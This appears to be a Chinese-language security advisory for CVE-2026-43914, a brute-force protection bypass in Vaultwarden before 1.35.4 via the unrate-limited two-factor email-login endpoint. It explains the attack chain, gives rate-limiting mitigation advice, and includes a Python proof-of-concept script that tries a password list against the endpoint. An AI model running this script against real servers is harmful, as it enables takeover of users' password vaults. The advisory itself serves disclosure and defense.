IPBUF安全漏洞报告
English
CVE-2026-43914 CVSS 7.3 高危

CVE-2026-43914 Vaultwarden 登录暴力破解保护绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43914
漏洞类型
认证绕过
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Vaultwarden

相关标签

认证绕过暴力破解VaultwardenRust信息泄露CVE-2026-43914

漏洞概述

Vaultwarden 是一个用 Rust 编写的轻量级 Bitwarden 兼容服务器。在 1.35.4 版本之前,该软件存在一个严重的安全漏洞,允许攻击者绕过登录暴力破解保护机制。问题的根源在于当启用两步验证(2FA)功能时,用于发送登录邮件的 API 端点 `/api/two-factor/send-email-login` 缺乏必要的速率限制。攻击者可以利用这一端点作为“预言机”,通过发送大量用户名和密码组合来验证凭据的有效性。令人担忧的是,该漏洞不仅影响已配置邮箱 2FA 的用户,即使未配置该功能的用户也面临被暴力破解的风险。这使得攻击者能够以极高的效率猜测用户密码,从而获取账户访问权限。

技术细节

该漏洞的核心在于 Vaultwarden 处理邮箱 2FA 流程时的逻辑缺陷。通常情况下,登录端点会有严格的速率限制以防止暴力破解。然而,在受影响版本中,位于 `email.rs` 文件中的 `send_email_login` 函数及相关 API 端点 `/api/two-factor/send-email-login` 未实施同样的保护措施。当攻击者向该端点发送包含用户名和密码的请求时,系统会尝试验证这些凭据。如果凭据正确,系统会继续尝试发送邮件(或返回特定响应);如果凭据错误,则返回错误信息。这种响应差异使得该端点成为一个侧信道预言机。攻击者可以编写脚本自动化地向该接口发送请求,遍历常见密码字典,而不会触发主登录接口的防御机制。由于该验证逻辑在检查用户是否实际启用了邮箱 2FA 之前或独立于该配置运行,攻击者可以利用此机制对任何账户进行无限制的尝试,极大地降低了破解账户的难度和时间成本。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标使用的是 Vaultwarden 服务器,并确定其版本低于 1.35.4。
STEP 2
2. 探测漏洞点
攻击者发现 `/api/two-factor/send-email-login` 端点存在,并测试其是否缺乏速率限制。
STEP 3
3. 利用预言机
攻击者编写脚本,向该端点发送大量的用户名和密码组合。通过分析 HTTP 响应状态码(如 200 OK 表示密码正确,400 表示错误),攻击者能够枚举出有效的用户凭证。
STEP 4
4. 获取访问权限
一旦获取了正确的用户名和密码,攻击者即可使用这些凭证登录主应用程序,完全控制用户账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "https://example.com/api/two-factor/send-email-login" # User credentials to test username = "[email protected]" password_list = ["password123", "admin", "123456", "letmein"] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Starting brute force test against {target_url}") for password in password_list: payload = { "email": username, "password": password, "masterPasswordHash": password # Depending on specific API implementation } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) # Analysis: If the endpoint returns 200 OK, it usually means credentials are valid # and the system attempted to send an email. # If credentials are invalid, it typically returns 400 Bad Request or 401 Unauthorized. if response.status_code == 200: print(f"[+] Potential valid credentials found: {username} / {password}") # In a real scenario, stop here or log success break else: print(f"[-] Failed: {username} / {password} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") print("[*] Test completed.")

影响范围

Vaultwarden < 1.35.4

防御指南

临时缓解措施
在无法立即升级到修复版本的情况下,管理员应配置 Web 应用防火墙(WAF)或反向代理(如 Nginx),专门针对 `/api/two-factor/send-email-login` 接口实施严格的 IP 速率限制和访问控制。建议限制每个 IP 每分钟只能提交少数几次请求,超过阈值的请求直接拦截。此外,应密切监控服务器日志,留意针对该特定端点的异常高频访问行为。

参考链接